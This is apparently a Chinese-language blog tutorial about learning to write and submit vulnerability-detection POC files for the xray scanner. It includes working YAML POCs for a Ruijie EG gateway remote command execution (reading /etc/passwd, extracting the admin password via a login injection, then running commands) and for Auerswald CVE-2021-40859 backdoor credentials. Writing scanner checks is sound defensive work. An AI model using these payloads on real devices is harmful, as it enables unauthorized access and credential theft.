一個xray POC的編寫全過程
序言
在剛接觸安全滲透的時候,常對于各種各樣龐雜的技術感到有些頭皮發麻,sql注入,xss,csrf,ssrf等一眾名詞也讓人有些望而生畏。后來在前輩的指引下認識到了sqlmap,nmap等工具,在進行了一段時間的學習后,慢慢對sqlmap的其中一個參數非常的感興趣——m參數,也就是對文件中存在可注入的鏈接進行注入測試,這種批量的掃描漏洞的行為極大的激發了我學習的興趣,同時也想要找到比sqlmap能更加準確,掃描切入點更多的工具。
正巧在這個時候,我得知一位大佬通過一個叫xray的工具結合自己寫的POC,掃描出了百度的一個漏洞,獲得了不菲的獎勵。立馬對xray產生了很大的興趣,也是在那個時候,了解了什么是POC,EXP等概念(原諒一個當時在學校剛接觸安全的小白在幾個月后才接觸了這些)
了解概念
POC(Proof of Concept) - 利用證明
POC,Proof of Concept,意思是利用證明。可使得使用者能夠確認這個漏洞是真實存在的。
EXP(Exploit) - 漏洞利用
EXP,Exploit 中文意思是 漏洞利用。意思是一段對漏洞如何利用的詳細說明或者一個演示的漏洞攻擊代碼,可以使得使用者完全了解漏洞的機理以及利用的方法。
xray
xray是長亭洞鑒核心引擎中提取出的社區版漏洞掃描神器,支持主動、被動多種掃描方式,自備盲打平臺、可以靈活定義 POC,功能豐富,調用簡單,支持 Windows / macOS / Linux 多種操作系統,可以滿足廣大安全從業者的自動化 Web 漏洞探測需求。
開始使用xray
在得知xray后,我也是很快的開始嘗試xray,但在那個時候,我同時也了解到了AWVS,w12scan等掃描器。于是那個時候的我便開始反復橫跳。那個時候的xray剛剛開放1.0版本不久,POC不像現在的多,功能上也不是那么的強悍,本身自帶的爬蟲對比AWVS等有略顯不足,但對于那個時候的我來說,相比較于w12scan麻煩的部署方式(對于那個時候的我)和AWVS半天時間用掉了我30G流量的恐怖(鬼知道為什么那么多),xray簡便的使用方式,多平臺通用,Rad的正式發布,我自然而然的開始向xray傾斜。
當我最后沉下心,專注的看了xray的各種內容,大佬們分享的文章后,讓xray在我的心中地位又加重了一分,同時一個月更新4個版本的速度,和社區的活躍也讓我非常的感嘆。(2021年更新確實慢了不少,但社區還是活躍)
進入工作的一段時間里,我開始頻繁的使用xray,同時也不斷地學習滲透的知識,xray掃描出的漏洞報告簡潔明了,讓我在不斷學習的同時,也借著xray掃出的漏洞不斷地復現,知識也在不斷的印證。直到我開始關注一些前線的漏洞預警,威脅情報等信息的時候,突然發現,很多剛爆出的漏洞,xray并不能掃描出,因為他的更新頻率始終趕不上漏洞出現的頻率,就算有師傅已經提交在了[Pull requests](https://github.com/chaitin/xray/pulls),但始終是要等下個版本的合并,或自己下載下來再使用。這樣還是過于繁瑣。再加上提交POC可以換取高級版,增加漏洞掃描類型,也正是在這個時候,我動了自己寫一個POC的念頭。
如何開始編寫
經歷
當開始有這個念頭后,我第一時間想到了官方文檔中我從未涉及過的地方,自定義POC語法 - xray 安全評估工具文檔(https://docs.xray.cool/#/guide/poc)。
在通讀了一遍文檔后,我對xrayPOC的運行有了簡單的概念:通過寫一個固定的yml文件,讓xray以這個yml文件的內容進行發包,再通過返回包來判斷是否存在漏洞。而我應該做的便是告訴xray應該發一個什么樣的包,并告訴他應該在返回包中獲取到什么樣的信息。
同時也認真的學習了一下有關匹配返回包中的信息時使用的表達式,expression表達式(詳細內容查看最新文檔[自定義POC語法V2版本] (https://docs.xray.cool/#/guide/poc/v2))
推薦在看完官方文檔后,如果還是沒有什么頭緒或者無從下手,也可以看一下長亭在知乎發的這篇文章:[如何編寫一個xray POC](https://zhuanlan.zhihu.com/p/78334648),雖然其中的格式已經過時,但對于一個poc的成型的思想上還是很有所幫助的,尤其應該關注其中關于POC結構,Rule,expression相關的知識。但值得提醒的一點,如果你沒有什么編程基礎,是剛接觸這方面的小白,建議先無視文章或者官方文檔中復雜的規則,先大概有所了解就好,只去了解最基礎的,然后先從編寫一個只發一個簡單的數據包就能確認漏洞存在的POC開始。
在知道了這些后,結合我在github中翻到的P神寫的[XRay POC 編寫輔助工具](https://phith0n.github.io/xray-poc-generation/)(當然長亭的知乎文章中也有提到,這個工具對不熟悉yaml格式的師傅非常友好),我開始了我的第一個POC編寫之旅。
總結
當想要開始寫一個POC并貢獻POC的時候,我們應基本遵循以下的流程去了解如何去編寫一個高質量的POC,如何去提交POC。以便于我們在編寫,提交的過程中少走彎路。
1. xray POC 審核標準
(https://stack.chaitin.com/techblog/detail?id=48&curNav=index)
- 可以查看該文檔了解到社區對于POC的審核規范,收錄規范
2. 自定義POC語法
(https://stack.chaitin.com/techblog/detail?id=50&curNav=index)
- 最主要應該詳細閱讀的內容,閱讀時,建議先不要詳細查看腳本格式,可以簡單了解下一個POC中都有哪些部分就好,然后將環境配置好后,建議著重查看與理解一下生命周期相關的內容,這對于提升對POC各部分的理解有著很好的幫助,當對POC的各個部分有了理解之后,后面再寫POC相對來說就會熟悉一些
- 接下來便可以詳細的關注腳本格式的內容,可以注意到存在V1與V2兩個版本,V1版本主要服務于Xray1.8.1之前,而在Xray1.8.1及之后,改為了V2版本。所以建議直接觀看V2版本就好
3.編寫高質量poc - xray 安全評估工具文檔(https://docs.xray.cool/#/guide/high_quality_poc)
- 這篇文檔對于寫一個好的POC,或者說一個可以起作用的POC會起到一個非常大的幫助,在編寫完POC之后,一定要參考著這篇文檔對自己的POC精修一下
- 文檔在應該怎么做這個部分提到的《漏洞檢測的那些事兒(https://paper.seebug.org/9/)》這篇文章非常值得反復閱讀,非常有利于提高自己的檢測方面的嚴謹的思考邏輯,讓自己在遇到一個沒見過的漏洞后,可以又快又好地想出一個檢測方案。就算是不寫POC,也非常推薦閱讀,這對提高自己的業務水平,技術能力都非常有幫助。
4. xray/pocs at master·chaitin/xray ·GitHub (https://github.com/chaitin/xray/tree/master/pocs)
Ctstack 安全社區 (chaitin.com)
(https://stack.chaitin.com/poc/archive/list?listtype=all&val=)
- 這是師傅們寫了并被收錄了的POC。在了解到了原理,格式,心中對要寫的POC有了一定的想法后,不妨去這兩個地方看看,最好能找一個跟自己要寫的POC同一個類型的來參考
- 如果還沒開始寫,可以參考著其他師傅的來寫,在寫起來會輕松簡單不少
- 如果已經寫完了,也可以參考看與其他師傅寫的有何不同,取長補短。同時如果發現自己寫的更加嚴謹,也可以提交修改。
一個POC的誕生
由于現在xrayPOC更新到了V2,所以以下內容會盡量按照V2的來
漏洞選擇
漏洞方面,首先先去看官方文檔中有關[貢獻POC](https://docs.xray.cool/#/guide/contribute)方面的要求(如果只是自己使用,可以略過,但提交POC等可以獲取高級版,所以建議觀看),然后查看[Pull requests · chaitin/xray (github.com)](https://github.com/chaitin/xray/pulls)和[CT stack 安全社區 (chaitin.com)](https://stack.chaitin.com/security-challenge/poc/list),查看所選擇的漏洞是否有被提交。
最終看下來后,我選擇了****的一個RCE漏洞進行編寫POC。
這個漏洞是在web管理頁面上,使用管理員的用戶名密碼登錄設備后,可通過web頁面執行部分操作命令,設備上有接口來讀取這些操作命令的返回值。接口對返回值中存在的惡意指令過濾不充分,導致設備可以通過CLI被遠程執行一些惡意指令。
開始編寫
這個漏洞是通過POST的形式向目標的/cli.php?a=shell這個鏈接發送notdelay=true&command=這樣一串數據,而command處則可以填寫執行的命令。于是我便通過P神的網站很快的編寫出了POC。

這樣的POC在現在看來無疑是非常有問題的,但當時的我在寫完后非常的興奮,在將生成的結果復制出來修改好后,便使用命令對poc進行格式檢測xray.exe pl --script nacos-cve-2021-29441.yml(這是最新的檢查命令),在檢查提示中,使用python3 -m pip install yamllint安裝了yamllint(xray檢測yaml格式使用的工具),并通過了檢測。

POC檢測
在POC上傳到github或者社區的時候,接受上傳處會首先對POC進行格式方面的檢測,如果格式檢測有問題,會首先提示修改格式,然后才會有人工進行內容的審核。而上傳處進行檢測的原理我們可以拿github來看:Xray在github上以一個項目的形式存在,并設定了Action,當有人提交POC的時候,會首先執行一個由check_poc.yml規范的動作,具體代碼如下:
name: Check POCon: [push, pull_request]jobs: check_poc: runs-on: ubuntu-18.04 steps: - uses: actions/setup-python@v1 with: python-version: 3.7 - uses: actions/checkout@v2 with: fetch-depth: 1 - name: Prepare run: | cd $GITHUB_WORKSPACE && \ wget -nv https://github.com/chaitin/xray/releases/download/1.8.2/xray_linux_amd64.zip && \ pip3 install yamllint && \ unzip xray_linux_amd64.zip && \ echo 'update: check: false' > config.yaml - name: Check POC run: | cd $GITHUB_WORKSPACE && \ ./xray_linux_amd64 poclint --script "./pocs/*" --filepath "./pocs/" --rules filename,filepath,yamlschema,yamllint,cellint && \ ./xray_linux_amd64 poclint --script "./fingerprints/*" --filepath "./fingerprints/" --rules filename,filepath,yamlschema,yamllint,cellint
從上述代碼我們可以很清晰地發現他的檢測邏輯:獲取一個運行環境->進入工作目錄->獲取最新版xray的壓縮包->使用pip安裝yamllint->解壓xray并使用poclint --script參數進行檢測
明白了這個邏輯我們就可以發現,只要我們在本地使用xray進行檢測并通過,那么在上傳后,就一定會通過檢測,可以直接進入人工審核階段。
檢測內容主要是以下幾點:
? 檢測文件名稱
? 檢測文件名稱與文件內容中name的值是否對應
? 檢測鍵的名稱是否有問題,該有內容的,是否都存在內容
? 檢測yaml語法錯誤
? 檢測CEL表達式的語法等問題
我修改了之前寫的一些poc的內容來做示范,大致演示一下POC出現問題時的檢測反饋與修改:
例一:


- 問題:當出現鍵值對重復,鍵命名錯誤,鍵缺少值,CEL表達式中出現不存在的方法或錯誤的使用方法時,會直接報錯,不會執行后續檢測流程。
- 修改建議:按照提示仔細查看對應錯誤并修改即可
例二:
在命名的時候,一般會出現上圖中的幾個格式上的錯誤:
- 問題:文件后綴以yaml結尾
- 修改建議:將文件名后綴修改為yml
- 問題:文件名與文件中name的值不匹配
- 修改建議:先將其中一個的值按照官方文檔中要求的格式修改對,然后直接復制粘貼就好(注意,name的值比文件名多了poc-yaml-)
可以注意到在檢測名稱的第五行錯誤提示,會發現它提示你修改成name的值的內容,就算這個內容是有問題的。比如這里明顯name的值中cve大寫了,而文件名是沒有問題的,但他還是提示修改文件名。所以要此處不報錯,首先就是要兩者統一。
- 問題:當文件名出現大寫的時候會產生報錯
- 報錯原因:文件名正則匹配規則:^(?:poc-yaml|custom|fingerprint-yaml)-[a-z0-9\\-]+$,可以注意到,后面匹配并沒有大寫字母。
- 修改建議:命名時,對照著官方文檔的要求修改。
當CEL表達式出現一些問題的時候cellint便會檢測出,并給予修改意見,按照其修改后的樣式修改即可
當都修改完成后,便會如下圖展示的反饋,這個時候便可以提交了。
POC提交
檢測通過后,在[CT stack 安全社區 (chaitin.com)](https://stack.chaitin.com/security-challenge/poc/list/editor)填寫相關信息,添加測試環境地址(fofa/shodan語句),進行poc的提交。
POC分析
name: poc-yaml-******-eg-rcerules: - method: POST path: "/cli.php?a=shell" follow_redirects: false body: | notdelay=true&command=cat /etc/passwd expression: | response.status == 200 && response.body.bcontains(b"\"status\":true,\"data\"") && response.body.bcontains(b"root")detail: author: Jarcis links: - http://wiki.peiqi.tech/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7EG%E6%98%93%E7%BD%91%E5%85%B3%20cli.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html
分析這個poc會發現,他雖然格式上沒有什么問題,但匆忙寫poc的我忽略了[編寫高質量poc - xray](https://docs.xray.cool/#/guide/high_quality_poc)這篇文章的內容,在編寫的時候,匹配上選擇檢測到root這種不嚴謹的檢測語句而不是root:[x*]:0:0:這樣的正則檢測。當然不同的版本可能內容也會有所變化,所以此處最好不使用這種方式來進行RCE的檢測。
其次,這個漏洞需要在以管理員身份登錄的情況下才可以觸發,在進行爬蟲掃描的時候,基本不可能觸發,所以這個poc如果只是單純這樣,用處也不大。應該結合另一個在登陸口處獲取管理員賬號密碼的漏洞一起來使用才行。
修改POC
令我沒想到的是,我提交上去后,smile-jpg師傅對我的poc進行了修改,然后通過了審核。
name: poc-yaml-******-eg-cli-rceset: r1: randomInt(8000, 10000) r2: randomInt(8000, 10000)rules: - method: POST path: /login.php headers: Content-Type: application/x-www-form-urlencoded body: | username=admin&password=admin?show+webmaster+user expression: | response.status == 200 && response.content_type.contains("text/json") search: | {"data":".*admin\s?(?P<password>[^\\"]*) - method: POST path: /login.php headers: Content-Type: application/x-www-form-urlencoded body: | username=admin&password={{password}} expression: | response.status == 200 && response.content_type.contains("text/json") && response.headers["Set-Cookie"].contains("user=admin") && response.body.bcontains(b"{\"data\":\"0\",\"status\":1}") - method: POST path: "/cli.php?a=shell" follow_redirects: false body: | notdelay=true&command=expr {{r1}} * {{r2}} expression: | response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))detail: author: Jarcis links: - https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/PeiQi/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7EG%E6%98%93%E7%BD%91%E5%85%B3%20cli.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md
他添加了在登陸口獲取賬號密碼并登陸的操作,并添加了兩個隨機數,執行命令時,如果返回了隨機數相乘執行的結果,便證明漏洞存在。
看到了這樣的修改后,我在學到不少新東西,更了解了應該怎樣寫好一個POC的同時,也對社區的師傅非常的感動,沒有駁回這樣一個錯漏百出的poc的同時還修改并通過了審核,這對當時的我來說是一劑非常強力的強心劑,也為我后續編寫更多的POC提供了很大的幫助。
?
V2版本
xray在久違的更新后,POC的編寫格式也更新到了V2,官方也是將已經存在的200+的poc自動轉換成了V2版本,官網也已經更新了V2版本的編寫教程。當然P神的那個輔助POC生成器只能生成V1版本。但我們可以使用xray自帶的命令將V1版本轉換為V2版本,具體方式則可以通過xray.exe transform v1 --help進行查看。
以下是V2版本的上述POC的代碼:
name: poc-yaml-ruijie-eg-cli-rcemanual: truetransport: httpset: r1: randomInt(8000, 10000) r2: randomInt(8000, 10000)rules: r0: request: cache: true method: POST path: /login.php headers: Content-Type: application/x-www-form-urlencoded body: | username=admin&password=admin?show+webmaster+user expression: response.status == 200 && response.content_type.contains("text/json") output: search: '"{\"data\":\".*admin\\s?(?P<password>[^\\\\\"]*)".bsubmatch(response.body)' password: search["password"] r1: request: cache: true method: POST path: /login.php headers: Content-Type: application/x-www-form-urlencoded body: | username=admin&password={{password}} expression: response.status == 200 && response.content_type.contains("text/json") && response.headers["Set-Cookie"].contains("user=admin") && response.body.bcontains(b"{\"data\":\"0\",\"status\":1}") r2: request: cache: true method: POST path: /cli.php?a=shell body: | notdelay=true&command=expr {{r1}} * {{r2}} follow_redirects: false expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))expression: r0() && r1() && r2()detail: author: Jarcis links: - https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/PeiQi/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7EG%E6%98%93%E7%BD%91%E5%85%B3%20cli.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md
V2Tips
相對于V1版本,V2版本新增的output要比之前的search好用一些,可以在output中處理一些在下個包中會使用到的變量。例如返回的body中的數據為:
["ooo":1,"date":"15.2.2021","tart":"154853254","macaddr":"00:00:00:00:00:00"]
你需要匹配date的內容和tart的內容,并對tart的內容進行md5加密再截取,還需要拼接,就可以這樣寫:
rules: r1: # 此處為一個 http request 的例子 request: method: GET path: "/" expression: | response.status==200 # 相比于 V1 版本新增 output: search: '"date\":\"(?P<date>.+?)\",\"tart".bsubmatch(response.body)' date: search['date'] search: '"tart\":\"(?P<tart>.+?)\",\"mac".bsubmatch(response.body)' tart: search['tart'] tartmd5: substr(md5(tart),0,16) # 對匹配到的tart的內容進行md5加密,然后再截取前十六位 tartty: date + tartmd5 + "asd" # 對匹配到的date,格式化好后的tart,字符串"asd"進行拼接 r2: # 上述定義出的變量的使用 request: method: POST path: "/" body: a={{date}}&b={{tart}}&c={{tartmd5}}&d={{tartty}} expression: | response.status==200
需要注意,search后不能再跟search,應先將需要的數據提取出來,再進行下一個search,否則會匹配不到數據。
手搓Digest auth認證
通過上述的技巧,其實可以發現,我們可以通過對返回包中內容的處理,完成Digest auth認證。以下為poc實例:
```yamlname: poc-yaml-auerswald-cve-2021-40859transport: httpset: dcnonce: randomLowercase(8)rules: r1: request: method: GET path: "/about_state" expression: response.status == 200 && r'serial.*?\d+.,'.bmatches(response.body) && r'date.+?20[0-9][0-9].,'.bmatches(response.body) output: search: '"serial\":\"(?P<serial>.+?)\",\"date".bsubmatch(response.body)' serial: search["serial"] search1: '"date\":\"(?P<date>.+?)\",\"macaddr".bsubmatch(response.body)' date: search1["date"] HA: serial + "r2d2" + date password: substr(md5(HA),0,7) r2: request: method: GET path: "/tree" expression: response.status == 401 output: search2: '"nonce=\"(?P<nonce>.*)\", opaque".submatch(response.headers["WWW-Authenticate"])' nonce: search2["nonce"] search3: '"opaque=\"(?P<opaque>.*)\",algorithm".submatch(response.headers["WWW-Authenticate"])' opaque: search3["opaque"] cnonce: substr(md5(dcnonce),0,16) username: '"Schandelah"' OHA1: username + ":Auerswald:" + password HA1: md5(OHA1) resp: HA1 + ":" + nonce + ":" + "00000001" + ":" + cnonce + ":auth:a94ba59ccc1aaf76cedba69ce4d102d2" respmd5: md5(resp) r3: request: method: GET path: "/tree" follow_redirects: true headers: Authorization: Digest username="Schandelah", realm="Auerswald", nonce="{{nonce}}", uri="/tree", algorithm=MD5, response="{{respmd5}}", opaque="{{opaque}}", algorithm="MD5", qop=auth, nc=00000001, cnonce="{{cnonce}}" expression: response.status == 200 && response.body.bcontains(b"Servicetools")expression: r1() && r2() && r3()detail: author: Jarcis-cy(https://github.com/jarcis-cy) links: - https://www.redteam-pentesting.de/en/advisories/rt-sa-2021-007/-auerswald-compact-multiple-backdoors summary: 'username:Schandelah;password:{{password}}'
```
通過這個POC,我們可以注意到四點:
1. output中定義變量并給變量賦值的時候,如果是純字符串,需要先單引號再雙引號引起來,否則會報錯
2. 在output中進行變量拼接的時候,不能以字符串開頭,如果需要以字符串開頭,需先將該字符串通過第一點的方式定義出來
3. md5函數中可以直接引用之前的變量,不能在函數中進行字符串拼接
4.search這個變量名稱不要重復
總結
對于我來說,從接觸xray到編寫第一個POC再到現在,讓我收獲最多的并不是提交poc后換取的高級版,而是在編寫POC時的思考,思考漏洞的觸發條件,利用方式;在復現漏洞時的操作;在研究其他人編寫的POC的精妙之處。這些才是我最大的收獲,同時對我也是一個很大的提升。
所以我常勸身邊剛開始學習安全的人去嘗試編寫一下xray的POC,因為這是一個非常好的入門的機會,一個從小白到懂一點知識的人的機會。往常POC的編寫還需要一定的代碼知識,需要學習python等語言,學會發包等操作,有一定的門檻。但xray的POC的編寫不需要,只需要認真的閱讀官方的文檔,認真的學習他人寫的POC,在這個過程中不斷的思考與實踐,就算最后所寫的POC不被通過,但我相信這樣操作下來就已經有所收獲。